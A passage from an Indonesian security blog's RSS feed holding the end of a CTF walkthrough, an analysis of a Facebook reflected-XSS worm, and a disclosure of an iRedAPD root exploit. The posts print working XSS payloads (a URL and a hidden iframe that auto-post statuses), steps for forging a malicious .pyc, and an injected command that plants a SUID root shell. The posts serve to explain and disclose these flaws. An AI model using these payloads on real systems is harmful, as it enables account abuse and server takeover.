</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf81.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf81.jpg" alt="" title="ctf8" width="591" height="342" class="aligncenter size-full wp-image-2633" /></a></p>
<p align="justify">
Bendera berhasil kita rebut, yaitu teks: http://www.appsecusa.org/ctf.html. Sekarang tinggal submit jawabannya.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf91.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf91.jpg" alt="" title="ctf9" width="431" height="506" class="aligncenter size-full wp-image-2638" /></a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=4vKERznbH9E:36yP2QaMSOw:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=4vKERznbH9E:36yP2QaMSOw:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=4vKERznbH9E:36yP2QaMSOw:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=4vKERznbH9E:36yP2QaMSOw:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=4vKERznbH9E:36yP2QaMSOw:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=4vKERznbH9E:36yP2QaMSOw:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=4vKERznbH9E:36yP2QaMSOw:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=4vKERznbH9E:36yP2QaMSOw:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/web-security/challenge-3-owasp-appsecusa-2011-walkthrough/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Memahami Teknik Penyebaran Status Berantai di Facebook</title>
		<link>http://www.ilmuhacking.com/web-security/memahami-teknik-penyebaran-status-berantai-di-facebook/</link>
		<comments>http://www.ilmuhacking.com/web-security/memahami-teknik-penyebaran-status-berantai-di-facebook/#comments</comments>
		<pubDate>Tue, 29 Mar 2011 18:59:24 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Web Security]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2528</guid>
		<description><![CDATA[Hari ini saya menyadari ada yang tidak beres dengan status teman-teman facebook saya. Banyak yang mendadak statusnya berisi promosi suatu link bahkan hingga berkali-kali. Apa gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik penyebaran status berantai tersebut. Analisa Mari kita mulai analisa kita dengan mengambil sample satu URL jebakan, yaitu tinyurl.com/sampahh. Ini adalah [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Hari ini saya menyadari ada yang tidak beres dengan status teman-teman facebook saya. Banyak yang mendadak statusnya berisi promosi suatu link bahkan hingga berkali-kali. Apa gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik penyebaran status berantai tersebut.</p>
<p><span id="more-2528"></span><br />
<b>Analisa</b></p>
<p style="text-align: justify;">Mari kita mulai analisa kita dengan mengambil sample satu URL jebakan, yaitu tinyurl.com/sampahh. Ini adalah url versi pendek yang bila diklik akan melakukan redirect ke url aslinya, yaitu:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">http://m.facebook.com/connect/prompt_feed.php?display=wap&amp;user_message_prompt='&lt;script&gt;window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}&lt;/script&gt;</pre></div></div>

<p style="text-align: justify;">URL tersebut akan saya pecah menjadi 3 bagian:</p>
<ul>
<li>

<div class="wp_syntax"><div class="code"><pre class="url" style="font-family:monospace;">http://m.facebook.com/connect/prompt_feed.php</pre></div></div>

</li>
<li>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">?display=wap&amp;user_message_prompt=</pre></div></div>

</li>
<li>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #3366CC;">'&lt;script&gt;window.onload=function(){document.forms[0].message.value='</span>jangan salahin w kalo lo bakal ngakak ngeliat ni orang <span style="color: #339933;">:</span>D http<span style="color: #339933;">:</span><span style="color: #006600; font-style: italic;">//tinyurl.com/sampahh';document.forms[0].submit();}&lt;/script&gt;</span></pre></div></div>

</li>
</ul>
<p style="text-align: justify;">Bagian pertama adalah URL untuk update status. Bagian kedua adalah query string parameter yang terdiri dari dua parameter, yaitu display dan user_message_prompt. Bagian ketiga adalah isi dari parameter user_message_prompt yang merupakan payload javascript untuk mengubah status secara otomatis.</p>
<p><b>The Prompt</b></p>
<p style="text-align: justify;">Sebelum masuk lebih jauh membahas payloadnya, mari kita lihat dulu bentuk tampilan dari URL untuk mengubah status ini. Gambar ini adalah screenshot ketika browser membuka URL:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">http://m.facebook.com/connect/prompt_feed.php?display=wap&amp;user_message_prompt=Masukkan Status</pre></div></div>

</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss2.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss2.jpg" alt="" title="fbxss2" width="508" height="343" class="aligncenter size-full wp-image-2536" /></a></p>
<p style="text-align: justify;">
Dari gambar di atas kini kita memahami fungsi dari parameter user_message_prompt, yaitu sebagai judul pertanyaan/prompt. Agar user mengerti apa yang harus diinputkan, dalam setiap prompt harus diberi judul yang jelas, contohnya: &#8220;Input your PIN&#8221;, &#8220;Enter your Name&#8221;, &#8220;Password:&#8221; dan sebagainya. Silakan anda mencoba bermain-main dengan mengubah-ubah nilai user_message_prompt sesuka anda di address bar dan perhatikan apa yang terjadi.
</p>
<p style="text-align: justify;"><strong>Reflected Cross Site Scripting</strong></p>
<p style="text-align: justify;">
Normalnya user_message_prompt diisi dengan murni teks saja berupa instruksi/petunjuk apa yang harus diinputkan user. Bila parameter user_message_prompt berisi teks murni saja, maka tidak ada yang perlu dikhawatirkan, namun bagaimana bila parameter tersebut diisi dengan kode HTML atau javascript?
</p>
<p style="text-align: justify;">Perhatikan apa yang terjadi bila user_message_prompt diisi dengan kode HTML:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;font color=red&gt;&lt;h1&gt;Hello!!&lt;/h1&gt;&lt;/font&gt;</pre></div></div>

</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss3.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss3.jpg" alt="" title="fbxss3" width="590" height="365" class="aligncenter size-full wp-image-2541" /></a></p>
<p style="text-align: justify;">Perhatikan juga apa yang terjadi bila user_message_prompt diisi dengan kode HTML:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;img src=&quot;http://1.bp.blogspot.com/_D2J2A4A68T8/TH80zGbHcYI/AAAAAAAAAIw/RXaLXYldrWw/s320/Hacked.jpg&quot;/&gt;</pre></div></div>

</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss4.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss4.jpg" alt="" title="fbxss4" width="617" height="645" class="aligncenter size-full wp-image-2542" /></a></p>
<p style="text-align: justify;">Bagaimana bila user_message_prompt tidak hanya diisi dengan kode HTML, tapi diisi dengan kode javascript? Mari kita coba memasukkan javascript sederhana berikut ini:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span>prompt<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Enter your PIN&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></div></div>

<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss5.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss5.jpg" alt="" title="fbxss5" width="694" height="458" class="aligncenter size-full wp-image-2547" /></a></p>
<p style="text-align: justify;">Kita sudah melihat bagaimana user_message_prompt tidak hanya bisa diisi dengan normal teks, namun juga bisa diisi dengan kode HTML dan javascript yang dieksekusi browser. Ini adalah vulnerability yang disebut dengan XSS (Cross Site Scripting), lebih tepatnya reflected-XSS (karena kode yang diinjeksikan dalam URL &#8220;dipantulkan&#8221; kembali sebagai response HTTP).</p>
<p><b>The Payload</b></p>
<p style="text-align: justify;">Dalam contoh sebelumnya kita mencoba memasukkan javascript sederhana yang hanya menampilkan prompt input kepada user. Sebenarnya javascript bisa dipakai untuk melakukan hampir apa saja mulai dari yang sekedar iseng seperti mengubah status, sampai yang serius seperti seperti mencuri cookie korban atau take-over komputer korban dengan mengeksploitasi kelemahan pada browsernya. Hal-hal inilah yang disebut dengan payload. Attacker bebas memasukkan payload apa saja yang dia inginkan seperti mengubah status, mencuri cookie dsb.</p>
<p style="text-align: justify;">Perhatikan kembali isi parameter user_message_prompt yang didapat dari tinyurl.com/sampahh:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">user_message_prompt='&lt;script&gt;window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}&lt;/script&gt;</pre></div></div>

</p>
<p style="text-align: justify;">
Bagi pembaca yang jeli tentu merasa aneh, kenapa ada karakter single-quote (&#8216;) sebelum tag script? Perlukah karakter single-quote ini? Jawabannya adalah tidak perlu sama sekali. Saya melihat semua yang membuat url sejenis ini dalam payloadnya selalu ada karakter single-quote di depan tag script. Mungkin pembuatnya hanya ikut-ikutan saja tanpa benar-benar mengerti apa yang terjadi, karena dia mencontoh orang lain memakai single-quote, maka diapun ikut memakai single-quote.
</p>
<p style="text-align: justify;">
Payload untuk mengubah status sebenarnya sangat sederhana. Berikut ini adalah payload untuk mengubah status di facebook secara otomatis: <br/><br />
<a href="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss7.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss7.jpg" alt="" title="fbxss7" width="377" height="64" class="aligncenter size-full wp-image-2554" /></a></p>
<p style="text-align: justify;">Onload adalah event yang terjadi bila suatu halaman web selesai di-load. Baris pertama pada kode di atas artinya meminta browser untuk mengeksekusi sebuah fungsi secara otomatis ketika halaman ini selesai diload. Fungsi yang dimaksud terdiri dari dua baris kode sederhana untuk mengubah nilai textarea message dan melakukan submit form.</p>
<p style="text-align: justify;">Baris kedua dimaksudkan untuk mengubah nilai dari textarea bernama message seperti gambar di bawah ini.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss8.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss8.jpg" alt="" title="fbxss8" width="324" height="210" class="aligncenter size-full wp-image-2557" /></a></p>
<p style="text-align: justify;">Langkah terakhir adalah memanggil fungsi submit() untuk melakukan submit form. Jadi sangat sederhana cara untuk mengubah status secara otomatis, cukup dua langkah saja, mengisi message dengan isi status, lalu submit, status pun selesai diubah.</p>
<p><b>Varian Lain dengan IFRAME</b></p>
<p style="text-align: justify;">
Saya juga menemukan varian lain yang memakai iframe. Varian ini lebih berbahaya karena bisa disisipkan dalam web apapun dan bisa dengan mudah melakukan pengubahan status berulang kali. Salah satu teman facebook saya menjadi korban freesmsvoip.com sampai berkali-kali.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss9.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss9.jpg" alt="" title="fbxss9" width="606" height="668" class="aligncenter size-full wp-image-2561" /></a></p>
<p style="text-align: justify;">
Kenapa bisa kena sampai berkali-kali? Mari kita lihat potongan awal source html dari www.freesmsvoip.com.
</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;iframe id=&quot;CrazyDaVinci&quot; style=&quot;display:none;&quot; src=&quot;http://m.facebook.com/connect/prompt_feed.php?display=wap&amp;user_message_prompt='&lt;script&gt;window.onload=function(){document.forms[0].message.value='Kirim SMS Gratis Ke Semua Operator di www.freesmsvoip.com Wow.. cool guys! coba gihhh!!!';document.forms[0].submit();}&lt;/script&gt;&quot;&gt;&lt;/iframe&gt;
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
&lt;head&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=iso-8859-1&quot; /&gt;
&lt;title&gt;SMS Gratis Semua Operator - Kirim SMS Gratis Via Internet - SMS Gratis Online - Widget SMS Gratis&lt;/title&gt;
&lt;meta name=&quot;description&quot; content=&quot;Kirim SMS gratis ke semua operator GSM, CDMA se-Indonesia tanpa bayar lewat internet&quot; /&gt;</pre></div></div>

<p style="text-align: justify;">
Perhatikan pada baris pertama ada tag iframe dengan src yang juga mengeksploitasi XSS vulnerability pada m.facebook.com/connect/prompt_feed.php. Tag iframe ini tidak hanya ada pada halaman depan saja, namun pada setiap halaman di web tersebut. Akibatnya bila pengunjung hanya melihat halaman depan saja, dia hanya kena satu kali, bila dia juga berkunjung ke halaman-halaman lain, maka dia akan melakukan update status berkali-kali.
</p>
<p style="text-align: justify;">
Berbeda dengan kasus yang memakai jasa pemendek url seperti tinyurl.com, serangan memakai iframe bisa dilekatkan pada halaman web yang tampak normal, baik hati dan tidak sombong. Dengan maraknya kasus eksploitasi XSS dengan url-shortener, orang akan semakin curiga bila menerima link yang dipendekkan karena user tidak tahu url itu akan dibelokkan ke mana. Menerima url yang dipendekkan kini mirip dengan menerima paket yang tidak jelas apa isinya, buku atau bom. Namun berbeda kasusnya dengan url yang panjang, orang cenderung tidak curiga bila menerima url panjang, apalagi domainnya tampak seperti situs baik-baik.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=uVut4wjK4fI:W1oLJqps_n4:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=uVut4wjK4fI:W1oLJqps_n4:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=uVut4wjK4fI:W1oLJqps_n4:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=uVut4wjK4fI:W1oLJqps_n4:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=uVut4wjK4fI:W1oLJqps_n4:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=uVut4wjK4fI:W1oLJqps_n4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=uVut4wjK4fI:W1oLJqps_n4:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=uVut4wjK4fI:W1oLJqps_n4:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/web-security/memahami-teknik-penyebaran-status-berantai-di-facebook/feed/</wfw:commentRss>
		<slash:comments>33</slash:comments>
		</item>
		<item>
		<title>iRedAPD root exploit [with video]</title>
		<link>http://www.ilmuhacking.com/advisory/iredapd-root-exploit/</link>
		<comments>http://www.ilmuhacking.com/advisory/iredapd-root-exploit/#comments</comments>
		<pubDate>Fri, 12 Nov 2010 07:46:17 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Advisory]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2375</guid>
		<description><![CDATA[iRedAPD adalah salah satu komponen dari iRedMail yang merupakan kumpulan script dan tools untuk membuat mail server lengkap dengan cara instalasi yang mudah dan sederhana. Saya menemukan kelemahan pada iRedAPD sebelum versi 1.3.3 yang bisa dieksploit untuk mendapatkan root. Bug ini saya temukan bulan juli 2010, advisory sudah diumumkan di sini. Agar lebih jelas, di [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">iRedAPD adalah salah satu komponen dari <a href="http://www.iredmail.org/">iRedMail</a> yang merupakan kumpulan script dan tools untuk membuat mail server lengkap dengan cara instalasi yang mudah dan sederhana. Saya menemukan kelemahan pada iRedAPD sebelum versi 1.3.3 yang bisa dieksploit untuk mendapatkan root. Bug ini saya temukan bulan juli 2010, advisory sudah diumumkan di <a href="http://www.iredmail.org/forum/topic1120-urgent-security-fix-of-iredapd132-and-earlier-versions.html">sini</a>. Agar lebih jelas, di akhir tulisan saya embed juga video proof-of-concept eksploitasi bug ini.</p>
<p><span id="more-2375"></span></p>
<p style="text-align: justify;"><strong>Vulnerability</strong></p>
<p style="text-align: justify;">Kesalahan utama disini adalah nilai umask yang kelewat longgar sehingga menciptakan file .pyc yang world-writable. Kesalahan ini diperparah lagi dengan iredapd yang menjalankan daemon by default sebagai user root.</p>
<p style="text-align: justify;">
 Menjalankan iredapd sebagai root seharusnya tidak perlu karena daemon ini tidak membutuhkan resource apapun yang membutuhkan akses root. Prinsip &#8220;use least privilege&#8221; berguna dalam situasi ini. Memang menjalankan daemon sebagai root tidak secara langsung mengakibatkan vulnerability, namun bila terjadi vulnerability pada program, maka hasilnya akan menjadi fatal.</p>
</p>
<p style="text-align: justify;">File /opt/iredapd/src/daemon.py mendefinisikan nilai UMASK = 0 (zero). Seperti yang kita tahu nilai umask di UNIX dipakai untuk menentukan permission terhadap file yang baru dibuat. Nilai umask 0 artinya file yang baru dibuat akan memiliki permission 666 (rw-rw-rw) atau 777 (rwxrwxrwx) untuk direktori.</p>
<p>Berikut ini adalah snippet file daemon.py yang mengandung nilai UMASK zero.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">import logging
import os
import sys
&nbsp;
# ---------------------------------------------------------------------------
# Constants
# ---------------------------------------------------------------------------
&nbsp;
# Default daemon parameters.
# File mode creation mask of the daemon.
UMASK = 0
&nbsp;
# Default working directory for the daemon.
WORKDIR = &quot;/&quot;
&nbsp;
# Default maximum for the number of available file descriptors.
MAXFD = 1024</pre></div></div>

<p style="text-align: justify;">Direktori /opt/iredapd/src/plugins/ mengandung file plugin yang akan diload oleh iredapd. Plugin ini akan dicompile oleh python menjadi file PYC (python compiled) ketika diload pertama kali. Dalam loading berikutnya python tidak perlu lagi membaca source .py, python akan langsung memakai file .pyc yang sudah dicompile sehingga loading berikutnya akan lebih cepat.</p>
<p style="text-align: justify;">Lalu apa hubungannya plugin ini dengan umask? Dengan nilai umask zero, artinya ketika iredapd pertama kali meload file plugin, akan tercipta file .pyc yang memiliki permission world-writable 666 (rw-rw-rw). Dengan menimpa file .pyc dengan malicious file ditambah dengan daemon yang running as root, hacker bisa mendapatkan akses root di server tersebut.</p>
<p style="text-align: justify;"><strong>Python Compiled</strong></p>
<p style="text-align: justify;">Ketika mengcompile file .py menjadi file .pyc, modification time dari file .py akan dicatat di header file .pyc dalam format EPOCH time. Ketika python akan meload suatu module, python akan melihat lagi timestamp yang ada di header file pyc. Bila modification time yang tercatat di header file .pyc tidak sama dengan modification time file .py, maka python akan mengabaikan file .pyc tersebut dan memilih memakai file .py yang belum dikompilasi.</p>
<p style="text-align: justify;">Perhatikan contoh file pyc di bawah ini.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">xxd ldap_maillist_access_policy.pyc |head -1
0000000: 6df2 0d0a 9938 484c 6300 0000 0000 0000  m....8HLc.......</pre></div></div>

<p style="text-align: justify;">4 byte pertama adalah magic number, dan diikuti oleh 4 byte berikutnya yang berisi modification time dari file .py. Nilai pada byte ke-4 s/d 7 adalah 0x9938484c yang dibaca sebagai 0x4c483899. Nilai tersebut adalah 1279801497 detik epoch yang berarti 22 Jul 2010 12:24:57 GMT atau 22 Juli 2010 19:24:57 dalam GMT+7. Jadi file .pyc ini adalah bentuk terkompilasi dari file .py yang dimodifikasi terakhir pada 22 juli 2010 19:24:57 GMT+7. Bila dilakukan &#8220;ls -l&#8221; terlihat bahwa file .py memang dimodifikasi terakhir pada waktu tersebut.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">-rw-r--r-- 1 iredapd iredapd 3969 Jul 22 19:24 ldap_maillist_access_policy.py</pre></div></div>

<p style="text-align: justify;">Bila timestamp yang tercatat di header file .pyc tidak cocok dengan modification time dari file .py, maka file .pyc tersebut akan diabaikan. Jadi kita tidak bisa begitu saja menimpa file .pyc dengan file .pyc yang kita bikin sendiri, kita harus sesuaikan dulu 4 byte timestamp agar cocok dengan modification time file .py.</p>
<blockquote><p>Sebelum menimpa pastikan 4 byte timestamp di header malicious .pyc harus sama dengan original .pyc</p></blockquote>
<p style="text-align: justify;"><strong>Creating Malicious PYC</strong></p>
<p style="text-align: justify;">
File plugin yang saya jadikan contoh adalah ldap_maillist_access_policy.py. Agar mudah dalam membuat file malicious pyc, hacker bisa menginstall linux dengan iredapd di vmware sebagai test lab. Dalam box tersebut hacker memodifikasi file source plugin berekstensi .py dengan memasukkan 2 baris berikut:
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/11/pyc1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/11/pyc1.png" alt="" title="pyc1" width="642" height="234" class="aligncenter size-full wp-image-2387" /></a></p>
<p style="text-align: justify;">
Setelah file .py di test lab hacker ditambahkan 2 baris untuk mengeksekusi os command dari input field &#8220;sender&#8221;, maka selanjutnya file .py ini harus dicompile menjadi .pyc. Kita bisa memakai fungsi __import__ di python untuk mengcompile file .py menjadi .pyc. Perhatikan gambar di bawah ini.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/11/iredapd1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/11/iredapd1.png" alt="" title="iredapd1" width="685" height="178" class="aligncenter size-full wp-image-2395" /></a></p>
<p style="text-align: justify;">Setelah berhasil di-import, maka otomatis tercipta file ldap_maillist_access_policy.pyc yang merupakan hasil kompilasi file ldap_maillist_access_policy.py.</p>
<p style="text-align: justify;">Dalam video yang saya buat, saya tidak memakai cara ini untuk mengcompile, saya mentrigger iredapd untuk melakukan loading plugin yang otomatis akan mengcompile file .py menjadi .pyc. Kedua cara ini hasil akhirnya sama, yaitu tercipta file .pyc yang sudah disusupi malicious code.</p>
<p style="text-align: justify;"><b>Manipulating PYC Header Timestamp</b></p>
<p style="text-align: justify;">Setelah hacker berhasil membuat malicious PYC, selanjutnya file ini harus ditimpa ke original PYC di server korban. Tapi sebelumnya byte ke-4 hingga byte ke-7 dari malicious pyc milik hacker harus disamakan dengan file pyc original. Saya memakai xxd untuk membaca 4 byte di header file pyc yang asli.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ xxd -l 8 ldap_maillist_access_policy.pyc
0000000: 6df2 0d0a 9938 484c                      m....8HL</pre></div></div>

<p style="text-align: justify;">
Dalam contoh di atas, nilai timestamp pyc yang asli adalah 0x4c483899. Timestamp di header file malicious pyc harus diganti menjadi 0x4c483899 agar sama dengan original pyc. Hexeditor apa saja bisa dipakai untuk mengubah 4 byte header file PYC. Tapi di sini saya memakai vim dikombinasikan dengan xxd. Lebih jelasnya cara memakai vim sebagai hex editor anda bisa lihat di videonya.
</p>
<p style="text-align: justify;">
Setelah dipastikan file malicious pyc isi headernya sama dengan original pyc, maka file malicious pyc tersebut bisa dikopi menimpa file original pyc.
</p>
<p><b>Executing command as root</b></p>
<p style="text-align: justify;">
Setelah malicous pyc berhasil menggantikan original pyc, selanjutnya harus menunggu iredapd di-restart agar file malicious pyc diload ke memori.
</p>
<p style="text-align: justify;">
Mari kita asumsikan saja iredapd sudah direstart. Maka untuk mengeksekusi command kita harus berkomunikasi dengan iredapd yang listen di port 7777. Saya memakai command &#8220;nc localhost 777&#8243; untuk berkomunikasi ke port 7777. Request yang saya kirim adalah seperti di bawah ini.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">request=smtpd_access_policy
protocol_state=RCPT
protocol_name=ESMTP
client_address=79.29.240.22
client_name=unknown
reverse_client_name=unknown
helo_name=telecomitalia.it
sender=/bin/cp /bin/bash /tmp;chmod 4755 /tmp/bash
recipient=dummy@google.com
recipient_count=0
queue_id=
instance=647f.4c558223.881a4.0
size=5866
etrn_domain=
stress=
sasl_method=
sasl_username=
sasl_sender=
ccert_subject=
ccert_issuer=
ccert_fingerprint=
encryption_protocol=
encryption_cipher=
encryption_keysize=0</pre></td></tr></table></div>

<p style="text-align: justify;">
Perhatikan bahwa field sender saya isi dengan &#8220;/bin/cp /bin/bash /tmp;chmod 4755 /tmp/bash&#8221;. Ingat bahwa malicious code yang saya sisipkan adalah os.system(smtpSessionData["sender"]), artinya isi dari field sender akan dieksekusi. Command yang saya masukkan adalah membuat file bash shell dengan permission SUID root. Artinya adalah ketika user biasa mengeksekusi &#8220;/tmp/bash -p&#8221;, maka otomatis orang tersebut menjadi root. Ini adalah teknik backdoor yang klasik hanya sekedar contoh.
</p>
<p><b>Kesimpulan</b></p>
<p style="text-align: justify;">
Kesalahan pada program ini bukan pada kesalahan coding/programming, tapi kesalahan dalam menentukan nilai umask untuk menentukan permission file baru. Hanya karena satu baris kesalahan itu akibatnya ternyata fatal, sistem bisa dikuasai sepenuhnya oleh hacker.
</p>
<p style="text-align: justify;">
Kesalahan kedua adalah pelanggaran terhadap prinsip &#8220;use least privilege&#8221;. iredapd ini dijalankan dengan user root sehingga vulnerability ini bisa berakibat didapatnya akses root oleh hacker. Seandainya iredapd ini dijalankan sebagai user biasa, maka vulnerability ini tidak bisa dieksploit sampai mendapatkan akses root, hacker tidak bisa melakukan privilege escalation dan tetap menjadi user biasa.
</p>
<p style="text-align: justify;">
Dalam membuat program kita tidak hanya memperhatikan aspek secure programming saja. Kita harus memikirkan juga secure design. Pada saat desain sebelum masuk coding kita harus tentukan bagaimana konfigurasi, setting, permission, user access (perlukah dijalankan sebagai root?) yang paling secure untuk program yang kita buat.
</p>
<p style="text-align: justify;">Watch The Video</p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/23sq22lbzTQ?fs=1&amp;hl=en_US&amp;rel=0"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/23sq22lbzTQ?fs=1&amp;hl=en_US&amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=qiFeKYhidWw:_ICHvMB9IIs:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=qiFeKYhidWw:_ICHvMB9IIs:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=qiFeKYhidWw:_ICHvMB9IIs:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=qiFeKYhidWw:_ICHvMB9IIs:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=qiFeKYhidWw:_ICHvMB9IIs:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=qiFeKYhidWw:_ICHvMB9IIs:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=qiFeKYhidWw:_ICHvMB9IIs:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=qiFeKYhidWw:_ICHvMB9IIs:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/advisory/iredapd-root-exploit/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>[Videos] Applying WiFu Cheat Sheet</title>
		<link>http://www.ilmuhacking.com/how-to/videos-applying-wifu-cheat-sheet/</link>
		<comments>http://www.ilmuhacking.com/how-to/videos-applying-wifu-cheat-sheet/#comments</comments>
		<pubDate>Wed, 04 Aug 2010 04:07:00 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[How to]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2351</guid>
